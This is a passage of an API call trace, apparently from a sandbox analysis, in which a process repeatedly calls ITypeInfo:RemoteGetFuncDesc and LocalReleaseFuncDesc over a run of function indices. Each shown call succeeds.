ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x58, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x59, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5a, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5b, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5c, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5d, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5e, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x5f, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x60, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x61, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x62, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x63, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x64, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x65, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x66, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x67, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x68, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.149] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.149] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x69, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6a, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6b, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6c, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6d, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6e, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x6f, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x70, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x71, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x72, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x73, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x74, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x75, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x76, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x77, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x78, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x79, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7a, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7b, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.150] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.150] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7c, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7d, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7e, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x7f, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x80, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x81, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x82, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x83, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x84, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x85, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x86, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x87, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x88, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x89, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8a, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8b, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8c, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8d, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8e, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.151] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x8f, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.151] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x90, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x91, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x92, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x93, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x94, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x95, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x96, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x97, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x98, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x99, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9a, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9b, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9c, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9d, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9e, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0x9f, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa0, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa1, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.152] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa2, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.152] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa3, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa4, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa5, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa6, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa7, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa8, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xa9, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xaa, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xab, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xac, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xad, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xae, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.153] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xaf, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.153] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb0, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb1, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb2, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb3, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb4, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d271268) returned 0x0 [0073.154] ITypeInfo:RemoteGetFuncDesc (in: This=0x2885d271268, index=0xb5, ppFuncDesc=0xbcb38f6a28, pDummy=0x6 | out: ppFuncDesc=0xbcb38f6a28, pDummy=0x6) returned 0x0 [0073.154] ITypeInfo:LocalReleaseFuncDesc 